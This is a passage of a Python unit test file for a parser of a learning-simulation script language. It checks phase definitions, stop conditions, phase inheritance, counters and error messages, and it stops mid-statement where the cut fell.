2020-10-25T20:12:48.000Z

import matplotlib.pyplot as plt from random import choice from .testutil import LsTestCase, run, get_plot_data from parsing import Script def parse(text, phase_label): script = Script(text) script.parse() script_parser = script.script_parser phase_obj = script_parser.phases.phases[phase_label] if not phase_obj.is_parsed: phase_obj.parse(script_parser.parameters, script_parser.variables) return phase_obj class TestBasic(LsTestCase): @classmethod def setUpClass(cls): pass def setUp(self): pass def tearDown(self): pass def test_simple(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e1=10 L1 e1 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for i in range(1, 19): stimulus = phase.next_stimulus('b2')[0] if i % 2 == 0: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_first_line(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e1=10 L2 e2 | new_trial new_trial e1 | L2 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for i in range(1, 19): stimulus = phase.next_stimulus('b1')[0] if i % 2 == 0: self.assertEqual(stimulus, {'e1': 1}, f"{i}") else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_variables(self): text = ''' @variables nsteps: 10 stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e1=nsteps L2 e2 | new_trial new_trial e1 | L2 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for i in range(1, 19): stimulus = phase.next_stimulus('b1')[0] if i % 2 == 0: self.assertEqual(stimulus, {'e1': 1}, f"{i}") else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) text = ''' @variables n:5 stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:local_var=n L0 local_var:0 | L1 L1 e1 | L2 L2 e2 | H1 H1 local_var:local_var+1 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for i in range(1, 10): stimulus = phase.next_stimulus('b2')[0] if i % 2 == 0: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) self.assertEqual(phase.local_variables.values['local_var'], 5) def test_local_variable_in_stop(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:local_var=5 L0 local_var:0 | L1 L1 e1 | L2 L2 e2 | H1 H1 local_var:local_var+1 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(1, 10): stimulus = phase.next_stimulus('b2')[0] if i % 2 == 0: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) self.assertEqual(phase.local_variables.values['local_var'], 5) def test_line_label_in_stop(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:L1=10 L1 e1 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for _ in range(1, 10): stimulus = phase.next_stimulus('b1')[0] stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) class TestInheritance(LsTestCase): def setUp(self): pass def test_simple(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE bar(foo) stop:e1=3 L2 e3 | L1 xscale: all # Just to finish the parsing of bar ''' phase = parse(text, 'bar') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE bar(foo) stop:e3=3 L1 e3 | L2 xscale: all # Just to finish the parsing of bar ''' phase = parse(text, 'bar') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_multiple_space(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE bar(foo) stop : e3 = 3 L1 e3 | L2 xscale: all # Just to finish the parsing of bar ''' phase = parse(text, 'bar') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_wrong_parent_name(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE bar(foofel) stop:e1=3 L2 e3 | L1 xscale: all # Just to finish the parsing of bar ''' msg = "Invalid phase label 'foofel'." with self.assertRaisesMsg(msg): parse(text, 'bar') def test_wrong_child_name(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE foo(foo) stop:e1=3 L2 e3 | L1 xscale: all # Just to finish the parsing of bar ''' msg = "Redefinition of phase 'foo'." with self.assertRaisesMsg(msg): parse(text, 'bar') def test_wrong_syntax(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE bar (foo) stop:e1=3 L2 e3 | L1 xscale: all # Just to finish the parsing of bar ''' msg = "Phase stop condition must have the form 'stop:condition'." with self.assertRaisesMsg(msg): parse(text, 'bar') def test_wrong_parentheses1(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE bar((foo)) stop:e1=3 L2 e3 | L1 xscale: all # Just to finish the parsing of bar ''' msg = "Invalid phase label '(foo)'." with self.assertRaisesMsg(msg): parse(text, 'bar') def test_wrong_parentheses2(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE bar(foo)baz stop:e1=3 L2 e3 | L1 xscale: all # Just to finish the parsing of bar ''' msg = "Phase label 'bar(foo)baz' is not a valid identifier." with self.assertRaisesMsg(msg): parse(text, 'bar') def test_wrong_parentheses3(self): text = ''' stimulus_elements: e1, e2, e3 behaviors: b1, b2 @PHASE foo stop:L1=5 L1 e1 | L2 L2 e2 | L1 @PHASE barbazfoo) stop:e1=3 L2 e3 | L1 xscale: all # Just to finish the parsing of bar ''' msg = "Phase label 'barbazfoo)' is not a valid identifier." with self.assertRaisesMsg(msg): parse(text, 'bar') def test_reference_to_undefined_local_variable(self): text = ''' stimulus_elements: e1, e2, par1, par2 behaviors: b1, b2 # Squeeze in a little test of inheritance @PHASE parent stop:local_var2=5 L0 local_var2:9 | L2 L1 par1 | L1 L2 par2,par1 | L1 H1 local_var2:local_var2+1 | H1 @PHASE phase_label(parent) stop:local_var=5 L0 | L1 L1 e1 | L2 L2 e2 | H1 H1 local_var:local_var+1 | L1 beta: 1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) msg = "Unknown variable 'local_var'." with self.assertRaisesMsg(msg): stimulus = phase.next_stimulus('b2')[0] class TestHelpLine(LsTestCase): def setUp(self): pass def test_no_action(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e1=10 L1 e1 | H1 H1 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for i in range(1, 19): stimulus = phase.next_stimulus('b1')[0] if i % 2 == 0: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e1=10 L1 e1 | H1 H1 | H2 H2 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for i in range(1, 19): stimulus = phase.next_stimulus('b1')[0] if i % 2 == 0: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_ignore_response_increment(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:b1=5 L1 e1 | H1 H1 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] # First stimulus self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) stimulus = phase.next_stimulus('b1')[0] self.assertIsNotNone(stimulus) # Now count(b1) is 6 # With two consecutive help lines text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:b1=5 L1 e1 | H1 H1 | H2 H2 x:0 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] # First stimulus self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) stimulus = phase.next_stimulus('b1')[0] self.assertIsNotNone(stimulus) # Now count(b1) is 6 # With two consecutive help lines text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:b1=5 L1 e1 | H1 H1 | H2 H2 x:0 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] # First stimulus self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) stimulus = phase.next_stimulus('b1')[0] self.assertIsNotNone(stimulus) # Now count(b1) is 6 def test_count_in_logic(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e2=1 L1 e1 | count(e1)=5 : L3 | L2 L2 e1 | L1 L3 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] # First stimulus self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_count_reset(self): # Reset a stimulus element text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e2=3 L1 e1 | count(e1)=5 : H | L2 L2 e1 | L1 H count_reset(e1) | L3 L3 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] for _ in range(1, 5): stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) for _ in range(5): stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) for _ in range(5): stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) # Reset a behavior text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:False # Never stop L1 e1 | count(b1)>=5 : H | L2 L2 e1 | L1 H count_reset(b1) | L3 L3 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] # First stimulus self.assertEqual(stimulus, {'e1': 1}) for i in range(2, 100): stimulus = phase.next_stimulus('b1')[0] if i % 6 == 0: self.assertEqual(stimulus, {'e2': 1}) else: self.assertEqual(stimulus, {'e1': 1}) # Reset a line label text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:L1=10 # L1 will never be 10 L1 e1 | L1=5:H | L1 H count_reset(L1) | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') first = True for _ in range(1, 10): for i in range(5): if first: stimulus = phase.next_stimulus(None)[0] first = False else: stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) # Reset a line label text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:XH=10 XL1 e1 | count(XL1)=5 : XH | XL2 XL2 e1 | XL1 XH count_reset(XL1) | XL3 XL3 e2 | XL1 ''' phase = parse(text, 'phase_label') first = True for i in range(1, 100): if first: stimulus = phase.next_stimulus(None)[0] first = not first else: stimulus = phase.next_stimulus('b1')[0] if i % 10 == 0: self.assertEqual(stimulus, {'e2': 1}) else: self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_count_line(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e2=5 L1 e1 | count_line(b1)=3 : L2 | L1 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for _ in range(42): stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] for _ in range(42): stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) # Test same thing but with count(b1)=3 instead of count_line(b1)=3 text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e2=5 L1 e1 | count(b1)==3 : L2 | L1 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for _ in range(42): stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] for _ in range(42): stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) def test_count_line_noarg(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e2=5 L1 e1 | count_line()=3 : L2 | L1 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e2=2 L1 e1 | count_line(L1)=3 : L2 | L1 L2 e2 | L1 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertIsNone(stimulus) def test_multiple_actions1(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2 @PHASE phase_label stop:e1=10 A e1 | p1:1, p2:2, B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'p1': 1, 'p2': 2}) def test_multiple_actions2(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 @PHASE phase_label stop:e1=10 S | x1 = 0, x2 = 0, A A e1 | b1: x1:x1+1, x2:2, B | C B e2 | A C e3 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 0, 'x2': 0}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertEqual(phase.local_variables.values, {'x1': 0, 'x2': 0}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'x1': 1, 'x2': 2}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(7): stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'x1': i + 2, 'x2': 2}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertIsNone(stimulus) def test_multiple_actions3(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 @PHASE phase_label stop:e1=100 S | x1 = 0, x2 = 0, A A e1 | count_line(b1)=5: x1=10, x2=10, B | A B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'x1': 10, 'x2': 10}) def test_multiple_actions4(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 @PHASE phase_label stop:e1=100 S | x1 = 0, x2 = 0, A A e1 | x1=x1+1, count(b1)=6: x1=42, x2=2.5, B | C B e2 | A C e3 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 0, 'x2': 0}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertEqual(phase.local_variables.values, {'x1': 1, 'x2': 0}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 1, 'x2': 0}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertEqual(phase.local_variables.values, {'x1': 2, 'x2': 0}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 2, 'x2': 0}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertEqual(phase.local_variables.values, {'x1': 3, 'x2': 0}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 3, 'x2': 0}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertEqual(phase.local_variables.values, {'x1': 4, 'x2': 0}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 4, 'x2': 0}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertEqual(phase.local_variables.values, {'x1': 5, 'x2': 0}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 5, 'x2': 0}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'x1': 42, 'x2': 2.5}) def test_multiple_actions_error1(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 @PHASE phase_label stop:e1=100 S | x1 = 0, x2 = 0, A A e1 | x1=1, x2=2, B,A(1.1) B e2 | A C e3 | A ''' msg = "Error on line 7: Invalid condition 'B,A(1.1)'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_multiple_actions_error2(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 @PHASE phase_label stop:e1=100 S | x1 = 0, x2 = 0, A A e1 | p1:1, p2:2, B(1.1),A(1.1) B e2 | A C e3 | A ''' msg = "Error on line 7: Invalid condition 'B(1.1),A(1.1)'. Expected a probability, got '1.1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_multiple_actions_error3(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 @PHASE phase_label stop:e1=100 S | x1 = 0, x2 = 0, A A e1 | blaj1 blaj2 = blaj3 blaj4: x1:1, x2:2, B B e2 | A C e3 | A ''' msg = "Error on line 7: Error in expression 'blaj1 blaj2 == blaj3 blaj4': invalid syntax." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_multiple_actions_error4(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 @PHASE phase_label stop:e1=100 S | x1 = 0, x2 = 0, A A e1 | B | C B e2 | A C e3 | A ''' msg = "Error on line 7: The unconditional goto row label 'B' cannot be continued." with self.assertRaisesMsg(msg): parse(text, 'phase_label') # b1==5 should raise error # def test_multiple_actions_error5(self): # text = ''' # behaviors : b1, b2 # stimulus_elements : e1, e2, e3 # @PHASE phase_label stop:e1=100 # S | x1 = 0, x2 = 0, A # A e1 | b1=5: x1:1, x2:2, B | C # Should give error # B e2 | A # C e3 | A # ''' # phase = parse(text, 'phase_label') class TestMultipleActions(LsTestCase): def setUp(self): pass def tearDown(self): plt.close('all') def test_small1(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | p1:1, p2:2, B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'p1': 1, 'p2': 2}) def test_small2(self): text = ''' behaviors : b1 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | b1: x1=1, x2=2, B | A B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'x1': 1, 'x2': 2}) def test_small3(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | count(e2)==3: x1=1, x2=2, A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 1, 'x2': 2}) def test_split_with_function_comma1(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | x1:1, x2:rand(1,3), count(b1)=5: x2:42, B | C B e2 | A C e1 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertTrue('x1' in phase.local_variables.values) self.assertTrue('x2' in phase.local_variables.values) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'x1': 1, 'x2': 42}) def test_split_with_function_comma2(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2, e3 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | x1:1, x2:choice(11,12), count(b1)=5: x2:choice([5,6],[1,2]), B | C B e2 | A C e3 | x3:choice(20,22,24), A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, dict()) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertTrue('x1' in phase.local_variables.values) self.assertTrue('x2' in phase.local_variables.values) self.assertTrue('x3' not in phase.local_variables.values) stimulus = 